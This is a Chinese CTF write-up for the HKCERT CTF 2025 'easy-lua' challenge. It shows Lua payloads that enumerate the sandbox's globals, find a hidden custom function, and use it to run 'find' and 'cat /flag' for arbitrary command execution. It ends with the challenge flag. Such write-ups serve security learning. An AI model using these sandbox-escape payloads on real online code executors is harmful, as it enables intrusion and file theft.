【CTF-WEB】在线Lua执行器漏洞

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組

题目名称:easy-lua

靶场网址:http://web-ee0662f019.challenge.xctf.org.cn:80/

题目描述: 在线 Lua 执行器,寻找 flag

解题步骤

1. 初始分析

这是一个在线 Lua 执行器,包含:

  • 一个代码输入框
  • 执行按钮和清除按钮
  • 输出显示区域

网页的 JavaScript 代码显示,点击执行按钮后会向 /execute 接口发送 POST 请求,携带 Lua 代码作为 JSON 数据。

2. 尝试常规命令执行

尝试使用 os.execute
lua 复制代码
os.execute("ls -la")

结果 :失败,错误信息显示 os 模块为 nil,说明 os 模块被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'execute'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.popen
lua 复制代码
for line in io.popen(\"ls -la\"):lines() do print(line) end

结果 :失败,错误信息显示 io.popen 为 nil,说明 io 模块的 popen 方法被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'popen'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.open 读取文件
lua 复制代码
local f = io.open("flag","r") if f then local c = f:read("*a") print(c) f:close() else print("File not found") end

结果 :失败,错误信息显示 io.open 为 nil,说明 io 模块的 open 方法也被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring>:1: attempt to index a non-table object(nil) with key 'open'\nstack traceback:\n\t\u003cstring>:1: in main chunk\n\t[G]: ?"}

3. 查看全局环境

为了了解可用的 Lua 函数,我执行了以下代码来查看全局环境中的所有变量和函数:

lua 复制代码
for k,v in pairs(_G) do print(k, type(v)) end

结果

复制代码
package	abel
_G	tabel
_VERSION	string
_GOPHER_LUA_VERSION	string
rawset	function
ntonumber	function
type	function
xpcall	function
print	function
select	function
_printregs	function
setfenv	function
require	function
getfenv	function
getmetatable	function
pcall	function
rawequal	function
tostring	function
module	function
newproxy	function
dofile	function
error	function
load	function
next	function
rawget	function
setmetatable	function
unpack	function
assert	function
collectgarbage	function
loadfile	function
loadstring	function
ipairs	function
pairs	function
table	tabel
string	tabel
math	tabel
S3cr3t0sEx3cFunc	function
getFileContent	function
getFileList	function

4. 发现自定义函数

从全局环境中,我发现了几个有趣的自定义函数:

  • S3cr3t0sEx3cFunc - 看起来像是可以执行系统命令的函数
  • getFileContent - 可以读取文件内容
  • getFileList - 可以获取文件列表

5. 使用 getFileList 查看文件

我首先使用 getFileList 函数查看当前目录下的文件:

lua 复制代码
local files = getFileList() for i,file in ipairs(files) do print("File "..i..":") for k,v in pairs(file) do print("  "..k..": "..tostring(v)) end end

结果

复制代码
File 1:
  name: .DS_Store
  isdir: false
  size: 6148
  mode: -rw-r--r--
  modtime: 2025-11-24 16:30:57 +0000 UTC
File 2:
  name: g0_main_pr0gram_421585
  isdir: false
  size: 6525112
  mode: -rwxr-xr-x
  modtime: 2025-11-24 16:30:38 +0000 UTC
File 3:
  name: index.html
  isdir: false
  size: 7257
  mode: -rw-r--r--
  modtime: 2025-12-09 07:37:41 +0000 UTC

6. 使用 S3cr3t0sEx3cFunc 执行命令

看到 S3cr3t0sEx3cFunc 这个函数名,我猜测它是一个可以执行系统命令的函数。我首先尝试使用它来查找 flag 文件:

  1. 函数名的构成分析

    • S3cr3t - 是 "Secret"(秘密)的变形,用数字 3 替代了字母 e,这是常见的隐蔽命名方式
    • 0s - 是 "os"(操作系统 Operating System)的变形,用数字 0 替代了字母 o
    • Ex3c - 是 "Exec"(执行 Execute)的变形,用数字 3 替代了字母 e
    • Func - 是 "Function"(函数)的缩写
  2. 组合含义

    整个函数名可以解读为 "Secret os Exec Function",也就是 "秘密的操作系统执行函数"。

  3. 上下文推断

    • 这是一个在线 Lua 执行器,核心功能就是执行代码
    • 之前尝试的常规命令执行方法(os.execute, io.popen 等)都被禁用
    • 系统通常会提供自定义函数来实现特定功能,尤其是在禁用了常规方法的情况下

基于以上分析,我猜测 S3cr3t0sEx3cFunc 是一个可以执行系统命令的自定义函数。我首先尝试使用它来查找 flag 文件:

lua 复制代码
local result = S3cr3t0sEx3cFunc("find / -name flag 2>/dev/null") print(result)

结果

复制代码
/flag

找到了 flag 文件位于 /flag 路径!

7. 读取 flag 文件

最后,我使用 S3cr3t0sEx3cFunc 函数读取 flag 文件的内容:

lua 复制代码
local result = S3cr3t0sEx3cFunc("cat /flag") print(result)

结果

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

最终 flag

成功获取到 flag:

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

解题思路总结

  1. 分析目标网站的功能和工作原理
  2. 尝试常规的 Lua 命令执行方法(os.execute, io.popen 等),发现被禁用
  3. 查看全局环境,发现自定义函数
  4. 利用自定义的 S3cr3t0sEx3cFunc 函数执行系统命令
  5. 查找并读取 flag 文件

这个靶场的漏洞在于允许执行 Lua 代码,并且提供了一个名为 S3cr3t0sEx3cFunc 的自定义函数,该函数可以执行系统命令,导致了任意命令执行漏洞。

相关推荐
Rain的Java大神之路1 天前
高并发下的热点账户余额扣减:Redis+Lua脚本实现无锁记账
java·spring boot·redis·后端·spring cloud·缓存·lua
0xBADCODE2 天前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
qq_322762753 天前
一个接口从能用到稳定,中间差的到底是什么
服务器·开发语言·lua·接口·fastapi·请求
玫幽倩3 天前
2025MoeCTF(Pwn全)
网络·安全·pwn·ctf·新生赛·二进程·moectf
岁岁的O泡奶3 天前
[NSSCTF 2022 Spring Recruit]babyphp
经验分享·web·ctf
0xBADCODE3 天前
动态DEX加载+反射+DES硬编码密钥:安卓三层逆向实战
android·java·python·安全·网络安全·逆向·ctf
纯.Pure_Jin(g)5 天前
靶场PHP函数整理+防御方式
开发语言·php·ctf
呆呆敲代码的小Y5 天前
【游戏开发】Lua 与 C# 交互原理解析
c#·lua·交互·热更新·lua与c#交互·游戏热更新
呆呆敲代码的小Y5 天前
Lua 上值(UpValue)
开发语言·junit·lua·lua上值·upvalue
呆呆敲代码的小Y5 天前
【游戏开发】xLua 性能优化技巧
junit·性能优化·lua·xlua